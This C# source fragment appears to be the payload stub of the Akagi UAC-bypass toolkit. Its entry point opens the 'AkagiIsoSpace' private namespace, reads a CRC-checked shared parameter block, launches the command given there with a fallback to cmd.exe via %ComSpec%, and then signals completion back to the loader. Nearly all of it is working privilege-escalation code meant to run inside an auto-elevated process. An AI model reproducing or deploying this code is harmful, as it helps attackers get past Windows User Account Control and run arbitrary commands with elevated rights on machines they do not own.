/// <summary>
/// Program entry point.
/// </summary>
static EntryPoint()
{
try
{
//
// Create boundary descriptor.
//
bool bSharedParamsReadOk = false;
IntPtr BoundaryDescriptor = NativeMethods.CreateBoundaryDescriptorW("ArisuTsuberuku", 0);
if (BoundaryDescriptor == IntPtr.Zero)
{
return;
}
IntPtr domainSid = IntPtr.Zero;
IntPtr pSid = IntPtr.Zero;
uint cbSid = 0;
NativeMethods.CreateWellKnownSid(WELL_KNOWN_SID_TYPE.WinWorldSid, domainSid, pSid, ref cbSid);
pSid = Marshal.AllocHGlobal(Convert.ToInt32(cbSid));
if (!NativeMethods.CreateWellKnownSid(
WELL_KNOWN_SID_TYPE.WinWorldSid,
domainSid,
pSid,
ref cbSid))
{
Marshal.FreeHGlobal(pSid);
return;
}
if (!NativeMethods.AddSIDToBoundaryDescriptor(ref BoundaryDescriptor, pSid))
{
Marshal.FreeHGlobal(pSid);
return;
}
Marshal.FreeHGlobal(pSid);
NativeMethods.DeleteBoundaryDescriptor(BoundaryDescriptor);
//
// Open Akagi namespace.
//
IntPtr hPrivateNamespace = NativeMethods.OpenPrivateNamespaceW(BoundaryDescriptor, "AkagiIsoSpace");
if (hPrivateNamespace == IntPtr.Zero)
{
return;
}
IntPtr hSection = IntPtr.Zero;
OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(
"AkagiSharedSection",
ObjectFlags.CaseInsensitive,
hPrivateNamespace);
//
// Read shared parameters block.
//
NtStatus Status = NativeMethods.NtOpenSection(
out hSection,
SectionAccess.MapRead,
ref oa);
if (NativeMethods.IsSuccess(Status))
{
IntPtr BaseAddress = IntPtr.Zero;
IntPtr ViewSize = new IntPtr(0x1000);
long sectionOffset = 0;
Status = NativeMethods.NtMapViewOfSection(
hSection,
NativeMethods.GetCurrentProcess(),
ref BaseAddress,
IntPtr.Zero,
new IntPtr(0x1000),
ref sectionOffset,
ref ViewSize,
SectionInherit.ViewUnmap,
MemoryFlags.TopDown,
MemoryProtection.ReadOnly);
if (NativeMethods.IsSuccess(Status))
{
int StructSize = Marshal.SizeOf(typeof(SHARED_PARAMS));
byte[] rawData = new byte[StructSize];
Marshal.Copy(BaseAddress, rawData, 0, StructSize);
SHARED_PARAMS SharedParams = (SHARED_PARAMS)
Marshal.PtrToStructure(
Marshal.UnsafeAddrOfPinnedArrayElement(rawData, 0),
typeof(SHARED_PARAMS));
NativeMethods.NtUnmapViewOfSection(hSection, BaseAddress);
//
// Validate data.
//
var Crc32 = SharedParams.Crc32;
SharedParams.Crc32 = 0;
var StructPtr = Marshal.AllocHGlobal(StructSize);
Marshal.StructureToPtr(SharedParams, StructPtr, false);
bSharedParamsReadOk = (Crc32 == NativeMethods.RtlComputeCrc32(0, StructPtr, Convert.ToUInt32(StructSize)));
Marshal.FreeHGlobal(StructPtr);
//
// Run custom parameter.
//
var PayloadToExecute = string.Empty;
if (bSharedParamsReadOk)
{
PayloadToExecute = SharedParams.szParameter;
}
//Environment.ExpandEnvironmentVariables("%ComSpec%")
if (PayloadToExecute == string.Empty)
{
PayloadToExecute = Environment.ExpandEnvironmentVariables("%ComSpec%");
}
Process.Start(PayloadToExecute);
//
// Notify Akagi about completion.
//
if (bSharedParamsReadOk)
{
IntPtr hEvent = IntPtr.Zero;
OBJECT_ATTRIBUTES oae = new OBJECT_ATTRIBUTES(
SharedParams.szSignalObject,
ObjectFlags.CaseInsensitive,
hPrivateNamespace);
Status = NativeMethods.NtOpenEvent(out hEvent, EventAccess.AllAccess, ref oae);
if (NativeMethods.IsSuccess(Status))
{
int prev = 0;
NativeMethods.NtSetEvent(hEvent, out prev);
NativeMethods.NtClose(hEvent);
}
}
}
NativeMethods.NtClose(hSection);
}
NativeMethods.ClosePrivateNamespace(hPrivateNamespace, 0);
}
catch
{
Environment.Exit(0);
}
Environment.Exit(0);
}
